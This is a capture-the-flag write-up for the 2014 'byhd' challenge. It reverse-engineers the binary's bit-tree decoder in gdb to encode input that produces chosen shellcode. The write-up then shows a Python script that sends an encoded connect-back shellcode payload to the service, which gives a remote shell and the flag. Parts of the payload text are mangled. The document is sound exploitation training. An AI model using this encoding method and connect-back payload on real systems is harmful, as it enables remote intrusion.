Challenge description:
Who hath lived like hacker’s life and refused the normalness must be rewarded with straw, sticks and bricks.
http://services.2014.shallweplayaga.me/byhd_147e0accdae13428910e909704b21b11
byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me
In this challenge we need to connect to a service at byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me:9730
. The binary file is given here
The main handler function is at 0x401a15
which could be described by this pseudo code:
We see that it keeps getting new bytes by calling sub_40127c
and append them to output_buffer
until that function returns 0xffffffff
. We continue reversing sub_40127c
:
So it looks that the function initializes the pointer current_address
pointing to new_buffer_2
then loops through every bit of input_buffer
and change the current_address
to either *current_address
or *(current_address + 0x8)
depends on whether the current bit of input_buffer
is 0 or 1 respectively. The process stops when value of current_address
is 0 and function returns *(current_address + 0x10)
For instance, if the bit stream of input_buffer
is 100111011..
, the current_address
would jump as:
1 0 0 1
current_address -> *(current_address) -> *(current_address) -> *(current_address + 8 ) -> ... -> final_address
// it stops somewhere when *(final_address) == 0
So we could start from the address of new_buffer_2
, then recursively jump to *(new_buffer_2 + 8)
and *new_buffer_2
and so on to get all the cases that might happen in that function (ie. get all the outputs and their corresponding bit streams)
Since the output also depends on new_buffer_2
, we need to grab its content. Taking a closer look at the assembly code where sub_40127c
is called:
0x0000000000401912: mov -0x38(%rbp),%rax
0x0000000000401916: mov %rdx,%rsi
0x0000000000401919: mov %rax,%rdi
0x000000000040191c: callq 0x40127c
0x0000000000401921: mov %eax,-0x2c(%rbp)
0x0000000000401924: cmpl $0xffffffff,-0x2c(%rbp)
0x0000000000401928: je 0x401a02
We set the breakpoint at 0x40191c
(right before sub_40127c
is called):
# gdb ./byhd_147e0accdae13428910e909704b21b11
(gdb) set scheduler-locking step
(gdb) br *0x40191c
(gdb) r
Then write a simple Python code to generate some random payload:
gdb now stops at our breakpoint and we start dumping the memory. We simply grab everything readable in the memory just to be safe, in this case we read from 0x603000
to 0x625fff
(gdb) x/143360 0x603000
0x603000: 0x08070c1b 0x10070190 0x00000014 0x0000001c
0x603010: 0xffffe180 0x0000002a 0x00000000 0x00000000
0x603020: 0x00000014 0x00000000 0x00527a01 0x01107801
0x603030: 0x08070c1b 0x00000190 0x00000024 0x0000001c
.....
Also get the address of new_buffer_2
:
(gdb) info registers rdi
rdi 0x603000 6303744
So we got the content of memory and the starting point now, this Python code helps to generate the case tree:
A bit explanation on that Python code, after everything is done:
- If we have
before[an_address] == another_address
, that says in order to reachanother_address
the function needs to jump toan_address
first. - We also have
before[a_character] == address
that indicates the function needs to jump toaddress
to returna_character
.
With that data we could trace back the bit stream for any character by starting from before[character]
.
For example with character ‘H’, we got the steps:
0x60e1e0 -> address = *(address + 8) -> 1
0x60e1b0 -> address = *(address + 8) -> 1
0x60e180 -> address = *(address) -> 0
0x60e0f0 -> address = *(address + 8) -> 1
0x60e000 -> address = *(address) -> 0
0x608fc0 -> 'H'
So we need 5 bits ’11010′ from raw_input to get ‘H’ in final output.
We extend that Python code a bit to build the input from the shellcode, in this case we use a connect-back shellcode (Thanks @manhluat93 for this awesome shellcode).
And we got the output:
<br />
'\xd7_\xe0\x9a\xeb\xec\xea\x0bv\xbd\x90\n\x82\x9f^\xccu\x05\xf3\xfa=\x0f\x0f\xd7\xafsk\xaf\xb3\xae\xd3\x9e\t@\xb915\xbep[\xb9m\xee\x0e\xf0\xef\x9b|<em>Gv\xae\x1b\xfa\xee\xbd\xb05\xd7\xf8%Aqk\xaf\xb3\xfa57\x87\xeb\xd7</em>|5\xd7\xd9\xfd\x19\x8b\xc3\xf5\xeb\xaf\xb3\xfa3\x17Q\xf0\xf0\xfdz\xeb\xec\xfe\x8c\xc5\xd4|<?^\xba\xfb\xe1\xae\xbf\xc1&\xf5\x83\xe0\\x0bi\xcf\xf2\xf0*:\xba\xe25\xedF\xd7_g\xf4x\x0f\x0f\xd7\xb5'<br />
Try to send this to the real service:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((‘byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me’, 9730))
s.send(“\xff\x00\x00\x00″)
s.send(‘\xd7_\xe0\x9a\xeb\xec\xea\x0bv\xbd\x90\n\x82\x9f^\xccu\x05\xf3\xfa=\x0f\x0f\xd7\xafsk\xaf\xb3\xae\xd3\x9e\t@\xb915\xbep[\xb9m\xee\x0e\xf0\xef\x9b|_Gv\xae\x1b\xfa\xee\xbd\xb05\xd7\xf8%Aqk\xaf\xb3\xfa57\x87\xeb\xd7_|5\xd7\xd9\xfd\x19\x8b\xc3\xf5\xeb\xaf\xb3\xfa3\x17Q\xf0\xf0\xfdz\xeb\xec\xfe\x8c\xc5\xd4|<?^\xba\xfb\xe1\xae\xbf\xc1&\xf5\x83\xe0\\x0bi\xcf\xf2\xf0:\xba\xe25\xedF\xd7_g\xf4x\x0f\x0f\xd7\xb5’+’B’100)
[/pastacode]
Since it’s a connect-back shell, we got a shell from our server and simply read the flag
`cat flag The flag is: What a cold ass gershnoskel. `
Some facts
- The binary requires user
byhd
to exist in the system so we need to create a new system user before running the binary on our box. I had to run it asroot
otherwise some of the initialization functions would fail.</p> - It was hard to debug the resulting shellcode as we have to set the break point and examine the memory from time to time. So I had an idea to change the binary so that it could send back the final output to client. It’s obviously not possible to patch the binary as its content is one of the factor to generate the final shellcode.
I came up with the following gdb commands to patch the instructions at runtime:
# gdb ./byhd_147e0accdae13428910e909704b21b11
(gdb) br *0x4011ad # Make it stop at entry point
(gdb) r
Starting program: /tmp/byhd_147e0accdae13428910e909704b21b11
[Thread debugging using libthread_db enabled]
Breakpoint 1, 0x00000000004011ad in ?? ()
(gdb) set *(unsigned char*)0x401c56=0x74
(gdb) set *(unsigned char*)0x401c6c=0xff
(gdb) set *(unsigned char*)0x401c64=0x48
(gdb) set *(unsigned char*)0x401c65=0x8b
(gdb) set *(unsigned char*)0x401c66=0x4d
(gdb) set *(unsigned char*)0x401c67=0xe8
(gdb) c
What it does is to change the following assembly code:
0x0000000000401c52: cmpl $0x0,-0x28(%rbp) # This is to check if mmap was called succesfully or not.
0x0000000000401c56: jne 0x401c86 # Jump if success
0x0000000000401c58: mov -0x18(%rbp),%rax
0x0000000000401c5c: mov %rax,%rdi
0x0000000000401c5f: callq 0x400eb0 <free@plt>
0x0000000000401c64: lea -0x4c(%rbp),%rcx # Assign the address of some buffer to be sent back
0x0000000000401c68: mov -0x54(%rbp),%eax
0x0000000000401c6b: mov $0xff,%edx
0x0000000000401c70: mov %rcx,%rsi
0x0000000000401c73: mov %eax,%edi
0x0000000000401c75: callq 0x400ef0 <write@plt> # Write buffer to socket
To:
0x0000000000401c52: cmpl $0x0,-0x28(%rbp)
0x0000000000401c56: je 0x401c86 # Don't jump if success
0x0000000000401c58: mov -0x18(%rbp),%rax
0x0000000000401c5c: mov %rax,%rdi
0x0000000000401c5f: callq 0x400eb0 <free@plt>
0x0000000000401c64: mov -0x18(%rbp),%rcx # I assign the address of final shellcode here
0x0000000000401c68: mov -0x54(%rbp),%eax
0x0000000000401c6b: mov $0xff,%edx
0x0000000000401c70: mov %rcx,%rsi
0x0000000000401c73: mov %eax,%edi
0x0000000000401c75: callq 0x400ef0 <write@plt>
After that’s done we always get back our final shellcode every time we send a raw input which is really convenient for debugging.